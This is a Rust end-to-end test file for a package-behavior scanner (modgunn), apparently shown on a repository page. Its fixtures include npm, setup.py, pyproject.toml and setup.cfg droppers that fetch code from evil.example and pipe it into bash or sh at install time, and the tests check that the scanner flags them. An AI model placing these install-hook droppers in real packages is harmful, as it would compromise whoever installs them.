Your browser sucks, JavaScript disabled! Gunnar's console needs JavaScript and WebAssembly. Git over SSH on port 2222 does not.

mikronova/modgunn

tests/cli_behavior.rs

//! End-to-end CLI test for the `modgunn behavior` verb — the flag-parsing +
//! ecosystem-dispatch + `parse_npm_package` / `parse_pypi_setup` /
//! `parse_pyproject_toml` / `parse_setup_cfg` fold + findings-print +
//! `--fail-on-finding` gate path in `src/main.rs` that the library-level `behavior`
//! unit tests never touch as one flow.
//!
//! Writes real-shaped `package.json` / `setup.py` / `pyproject.toml` / `setup.cfg`
//! fixtures to a scratch dir, then
//! DRIVES the compiled binary (`CARGO_BIN_EXE_modgunn`) over each ecosystem. Fully
//! offline, zero-shell, **no code executed** — the fixtures are only read as text.
//!
//! Gated on `warehouse` (the binary's `required-features`, without which
//! `CARGO_BIN_EXE_modgunn` is not built — `behavior` itself only needs `scan`, which
//! `warehouse` implies transitively via the default). Run:
//! `cargo test --features "warehouse manifests test-support" --test cli_behavior`.
#![cfg(feature = "warehouse")]

use std::path::PathBuf;
use std::process::Command;
use std::time::{SystemTime, UNIX_EPOCH};

/// A unique scratch directory under the system temp root.
fn temp_dir(tag: &str) -> PathBuf {
    let nanos = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_nanos();
    let dir = std::env::temp_dir().join(format!("modgunn-behavior-{tag}-{nanos}"));
    std::fs::create_dir_all(&dir).unwrap();
    dir
}

/// Run the compiled `modgunn` binary with `args`; return `(stdout, stderr, code)`.
fn run(args: &[&str]) -> (String, String, i32) {
    let out = Command::new(env!("CARGO_BIN_EXE_modgunn"))
        .args(args)
        .output()
        .expect("spawn modgunn binary");
    (
        String::from_utf8_lossy(&out.stdout).into_owned(),
        String::from_utf8_lossy(&out.stderr).into_owned(),
        out.status.code().unwrap_or(-1),
    )
}

/// A malicious npm `package.json`: a `postinstall` dropper that `curl`s a URL and
/// pipes it to `bash`. The whole malware vector in one auto-run hook.
const NPM_DROPPER: &str = r#"{
    "name": "left-pad-helper",
    "version": "9.9.9",
    "scripts": {
        "postinstall": "curl -s https://evil.example/stage2.sh | bash",
        "test": "echo ok"
    }
}"#;

/// A malicious PyPI `setup.py`: fetches a payload (`urllib.request.urlopen`) and runs
/// it (`os.system`) at `pip install` from the sdist — no cmdclass needed.
const PYPI_DROPPER: &str = r#"
from setuptools import setup
import os, urllib.request
urllib.request.urlopen("https://evil.example/x.py")
os.system("sh -c 'curl https://evil.example/run | sh'")
setup(name="totally-legit-utils", version="1.0.0", packages=["utils"])
"#;

/// A benign npm package with only a user-invoked `build`/`test` script and no
/// install hook — the false-positive guard.
const NPM_BENIGN: &str = r#"{
    "name": "honest-lib",
    "version": "1.2.3",
    "scripts": { "build": "tsc", "test": "jest" }
}"#;

/// A benign declarative `pyproject.toml`: a `urllib3` dep and `https://` homepages
/// live in the DECLARATIVE `[project]` block — a naive whole-file scan would false-
/// positive `network_in_install`, the section-aware fold does not.
const PYPROJECT_BENIGN: &str = r#"
[build-system]
requires = ["setuptools>=61", "wheel"]
build-backend = "setuptools.build_meta"

[project]
name = "honest-tool"
version = "1.0.0"
dependencies = ["urllib3>=2", "requests"]

[project.urls]
Homepage = "https://honest.example/tool"
Repository = "https://github.com/honest/tool"
"#;

/// A malicious `pyproject.toml`: a build-hook table `curl`s a stage-2 payload and
/// pipes it to `bash` (in a build/install-active section, so it IS scanned).
const PYPROJECT_DROPPER: &str = r#"
[build-system]
requires = ["setuptools"]
build-backend = "_evil"
backend-path = ["."]

[project]
name = "totally-legit-utils"
dependencies = ["urllib3"]

[project.urls]
Homepage = "https://legit.example"

[tool.acme.build.hooks.custom]
command = "curl -s https://evil.example/stage2.sh | bash"
"#;

/// npm dropper `package.json` (inferred from the basename) folds to a **High**
/// network-in-install finding + the Low install-hook feature. RED-when-broken: the
/// High dropper label must reach stdout — if ecosystem dispatch, the npm parse, or the
/// severity fold breaks, this line is absent.
#[test]
fn behavior_npm_dropper_prints_high_network_finding() {
    let dir = temp_dir("npm");
    let pkg = dir.join("package.json");
    std::fs::write(&pkg, NPM_DROPPER).unwrap();

    let (stdout, stderr, code) = run(&["behavior", "--path", pkg.to_str().unwrap()]);
    assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
    assert!(
        stdout.contains("left-pad-helper"),
        "subject line missing:\n{stdout}"
    );
    assert!(
        stdout.contains("network_in_install=true"),
        "network flag missing:\n{stdout}"
    );
    // The load-bearing High finding (RED-when-broken).
    assert!(
        stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "High dropper finding missing:\n{stdout}"
    );
    assert!(
        stdout.contains("MODGUNN-BEHAVIOR-INSTALL-HOOK"),
        "Low install-hook feature missing:\n{stdout}"
    );
    assert!(
        stdout.contains("worst High"),
        "worst-severity footer missing:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// PyPI dropper `setup.py` (inferred from the basename) folds — over the whole-file
/// text scan — to the **High** network-in-install finding. RED-when-broken on the
/// High label, as for npm but through the pypi front-end.
#[test]
fn behavior_pypi_dropper_prints_high_network_finding() {
    let dir = temp_dir("pypi");
    let setup = dir.join("setup.py");
    std::fs::write(&setup, PYPI_DROPPER).unwrap();

    let (stdout, stderr, code) = run(&["behavior", "--path", setup.to_str().unwrap()]);
    assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
    assert!(
        stdout.contains("totally-legit-utils"),
        "name= subject not extracted:\n{stdout}"
    );
    assert!(
        stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "High dropper finding missing:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// `--fail-on-finding` turns a suspicious package into a gate failure (exit 3), so a
/// promotion check can block on it. RED-when-broken: a dropper with the gate flag must
/// NOT exit 0 — if the gate is dropped, the process succeeds and this fails.
#[test]
fn behavior_fail_on_finding_gates_a_dropper() {
    let dir = temp_dir("gate");
    let pkg = dir.join("package.json");
    std::fs::write(&pkg, NPM_DROPPER).unwrap();

    let (_out, _err, code) = run(&[
        "behavior",
        "--path",
        pkg.to_str().unwrap(),
        "--fail-on-finding",
    ]);
    assert_eq!(
        code, 3,
        "a dropper under --fail-on-finding must exit 3 (gate failure)"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// A benign package yields NO findings and exits 0 even WITH `--fail-on-finding` —
/// the false-positive guard for the gate (RED if the verb over-fires).
#[test]
fn behavior_benign_package_passes_the_gate() {
    let dir = temp_dir("benign");
    let pkg = dir.join("package.json");
    std::fs::write(&pkg, NPM_BENIGN).unwrap();

    let (stdout, stderr, code) = run(&[
        "behavior",
        "--path",
        pkg.to_str().unwrap(),
        "--fail-on-finding",
    ]);
    assert_eq!(
        code, 0,
        "a benign package must pass --fail-on-finding; stderr={stderr}"
    );
    assert!(
        stdout.contains("0 behavior finding(s)"),
        "expected no findings:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// A benign declarative `pyproject.toml` (inferred from the basename) passes the gate
/// (exit 0) even WITH `--fail-on-finding` — the anti-false-positive guard for the
/// pyproject front-end. RED-when-broken: if the fold regresses to a whole-file scan,
/// the `[project]` `urllib3` dep + `https://` homepages trip `network_in_install`, a
/// High finding fires, and this exits 3.
#[test]
fn behavior_pyproject_benign_passes_the_gate() {
    let dir = temp_dir("pyproject-benign");
    let f = dir.join("pyproject.toml");
    std::fs::write(&f, PYPROJECT_BENIGN).unwrap();

    let (stdout, stderr, code) = run(&[
        "behavior",
        "--path",
        f.to_str().unwrap(),
        "--fail-on-finding",
    ]);
    assert_eq!(
        code, 0,
        "a benign declarative pyproject must pass --fail-on-finding; stderr={stderr}"
    );
    assert!(
        stdout.contains("network_in_install=false"),
        "must not flag network:\n{stdout}"
    );
    assert!(
        stdout.contains("0 behavior finding(s)"),
        "expected no findings:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// A malicious `pyproject.toml` (inferred from the basename) whose build-hook table
/// fetches+execs a payload folds — through the section-aware scan — to the **High**
/// network-in-install finding + the install-hook Low. RED-when-broken on the High
/// label through the pyproject front-end.
#[test]
fn behavior_pyproject_dropper_prints_high_network_finding() {
    let dir = temp_dir("pyproject-dropper");
    let f = dir.join("pyproject.toml");
    std::fs::write(&f, PYPROJECT_DROPPER).unwrap();

    let (stdout, stderr, code) = run(&["behavior", "--path", f.to_str().unwrap()]);
    assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
    assert!(
        stdout.contains("totally-legit-utils"),
        "declarative name not extracted:\n{stdout}"
    );
    assert!(
        stdout.contains("network_in_install=true"),
        "build-hook network flag missing:\n{stdout}"
    );
    assert!(
        stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "High build-hook dropper finding missing:\n{stdout}"
    );
    assert!(
        stdout.contains("MODGUNN-BEHAVIOR-INSTALL-HOOK"),
        "Low install-hook feature missing:\n{stdout}"
    );
    assert!(
        stdout.contains("worst High"),
        "worst-severity footer missing:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// A benign declarative `setup.cfg`: `install_requires = urllib3` + a `[metadata] url =
/// https://…` — a naive whole-file scan would false-positive `network_in_install`, the
/// section-aware INI fold does not.
const SETUP_CFG_BENIGN: &str = r#"
[metadata]
name = honest-tool
version = 1.0.0
url = https://honest.example/tool
project_urls =
    Homepage = https://honest.example/tool

[options]
python_requires = >=3.9
install_requires =
    urllib3>=2
    requests
"#;

/// A malicious `setup.cfg`: a build-time network fetch via `[options] dependency_links`
/// (URLs setuptools downloads at build) plus a `cmdclass` install override — both in
/// build/install-active keys, so they ARE scanned.
const SETUP_CFG_DROPPER: &str = r#"
[metadata]
name = totally-legit-utils
version = 1.0.0
url = https://legit.example

[options]
install_requires =
    urllib3
dependency_links =
    https://evil.example/stage2-1.0.tar.gz#egg=stage2
cmdclass =
    install = _bootstrap:PostInstall
"#;

/// A benign declarative `setup.cfg` (inferred from the basename) passes the gate (exit
/// 0) even WITH `--fail-on-finding` — the anti-false-positive guard for the setup.cfg
/// front-end. RED-when-broken: if the fold regresses to a whole-file scan, the
/// `install_requires` `urllib3` + `[metadata] url = https://…` trip `network_in_install`,
/// a High finding fires, and this exits 3.
#[test]
fn behavior_setupcfg_benign_passes_the_gate() {
    let dir = temp_dir("setupcfg-benign");
    let f = dir.join("setup.cfg");
    std::fs::write(&f, SETUP_CFG_BENIGN).unwrap();

    let (stdout, stderr, code) = run(&[
        "behavior",
        "--path",
        f.to_str().unwrap(),
        "--fail-on-finding",
    ]);
    assert_eq!(
        code, 0,
        "a benign declarative setup.cfg must pass --fail-on-finding; stderr={stderr}"
    );
    assert!(
        stdout.contains("network_in_install=false"),
        "must not flag network:\n{stdout}"
    );
    assert!(
        stdout.contains("0 behavior finding(s)"),
        "expected no findings:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// A malicious `setup.cfg` (inferred from the basename) whose `dependency_links` fetches
/// a payload folds — through the section-aware INI scan — to the **High**
/// network-in-install finding + the install-hook Low. RED-when-broken on the High label
/// through the setup.cfg front-end.
#[test]
fn behavior_setupcfg_dropper_prints_high_network_finding() {
    let dir = temp_dir("setupcfg-dropper");
    let f = dir.join("setup.cfg");
    std::fs::write(&f, SETUP_CFG_DROPPER).unwrap();

    let (stdout, stderr, code) = run(&["behavior", "--path", f.to_str().unwrap()]);
    assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
    assert!(
        stdout.contains("totally-legit-utils"),
        "declarative name not extracted:\n{stdout}"
    );
    assert!(
        stdout.contains("network_in_install=true"),
        "dependency_links network flag missing:\n{stdout}"
    );
    assert!(
        stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "High dependency_links dropper finding missing:\n{stdout}"
    );
    assert!(
        stdout.contains("MODGUNN-BEHAVIOR-INSTALL-HOOK"),
        "Low install-hook feature missing:\n{stdout}"
    );
    assert!(
        stdout.contains("worst High"),
        "worst-severity footer missing:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// `--subject` overrides the parsed name, and `--ecosystem` forces the parser
/// regardless of the basename (here a `.json` file read as npm under a chosen name).
#[test]
fn behavior_subject_and_ecosystem_overrides_apply() {
    let dir = temp_dir("override");
    let pkg = dir.join("weird-name.json");
    std::fs::write(&pkg, NPM_DROPPER).unwrap();

    let (stdout, stderr, code) = run(&[
        "behavior",
        "--path",
        pkg.to_str().unwrap(),
        "--ecosystem",
        "npm",
        "--subject",
        "renamed-pkg",
    ]);
    assert_eq!(code, 0, "exit 0; stderr={stderr}");
    assert!(
        stdout.contains("renamed-pkg"),
        "subject override not applied:\n{stdout}"
    );
    assert!(
        stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "forced npm parse missing:\n{stdout}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// `behavior --warehouse` PERSISTS the analysis, and `warehouse behavior-log` reads it
/// back — the append→load round-trip driven end-to-end through the compiled binary.
/// RED-when-broken: the log must surface the SAME subject with a `verdict=High` and the
/// persisted `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` id; if the persist or read-back leg
/// drops the vector/verdict, the log line is absent or reads `clean` and this fails.
#[test]
fn behavior_persists_and_behavior_log_reads_it_back() {
    let dir = temp_dir("wh-roundtrip");
    let wh = dir.join("warehouse");
    let pkg = dir.join("package.json");
    std::fs::write(&pkg, NPM_DROPPER).unwrap();

    // 1 · persist the dropper analysis into the warehouse.
    let (stdout, stderr, code) = run(&[
        "behavior",
        "--path",
        pkg.to_str().unwrap(),
        "--warehouse",
        wh.to_str().unwrap(),
    ]);
    assert_eq!(code, 0, "persist exit 0; stderr={stderr}");
    assert!(
        stdout.contains("persisted into behavior_features"),
        "the persist note is missing:\n{stdout}"
    );

    // 2 · read it back via the query verb — same subject, High verdict, the finding id.
    let (log, logerr, logcode) = run(&[
        "warehouse",
        "behavior-log",
        "--warehouse",
        wh.to_str().unwrap(),
    ]);
    assert_eq!(logcode, 0, "behavior-log exit 0; stderr={logerr}");
    assert!(
        log.contains("left-pad-helper"),
        "persisted subject not read back:\n{log}"
    );
    assert!(
        log.contains("verdict=High"),
        "the persisted High verdict is missing:\n{log}"
    );
    assert!(
        log.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "the persisted finding id is missing:\n{log}"
    );
    assert!(log.contains("[npm"), "the ecosystem tag is missing:\n{log}");
    assert!(
        log.contains("1 behaviour analysis(es) (1 flagged)"),
        "wrong summary:\n{log}"
    );

    // 3 · a --subject filter that matches nothing yields an empty log (no over-match).
    let (empty, _e, ecode) = run(&[
        "warehouse",
        "behavior-log",
        "--warehouse",
        wh.to_str().unwrap(),
        "--subject",
        "no-such-pkg",
    ]);
    assert_eq!(ecode, 0);
    assert!(
        empty.contains("0 behaviour analysis(es)"),
        "filter should exclude all:\n{empty}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// A file whose ecosystem cannot be inferred (unknown basename, no `--ecosystem`) is a
/// usage error (non-zero), not a silent guess — the negative RED-when-broken assertion.
#[test]
fn behavior_unknown_ecosystem_errors() {
    let dir = temp_dir("unknown");
    let f = dir.join("mystery.txt");
    std::fs::write(&f, "whatever").unwrap();

    let (_out, stderr, code) = run(&["behavior", "--path", f.to_str().unwrap()]);
    assert_ne!(code, 0, "an un-inferrable ecosystem must fail");
    assert!(
        stderr.contains("--ecosystem"),
        "expected an ecosystem-hint error:\n{stderr}"
    );

    std::fs::remove_dir_all(&dir).ok();
}

/// A missing file is a hard error (non-zero), never a silent success.
#[test]
fn behavior_missing_file_errors() {
    let dir = temp_dir("missing");
    let missing = dir.join("package.json");

    let (_out, stderr, code) = run(&["behavior", "--path", missing.to_str().unwrap()]);
    assert_ne!(code, 0, "a missing file must fail");
    assert!(
        stderr.contains("read"),
        "expected a read error naming the file:\n{stderr}"
    );

    std::fs::remove_dir_all(&dir).ok();
}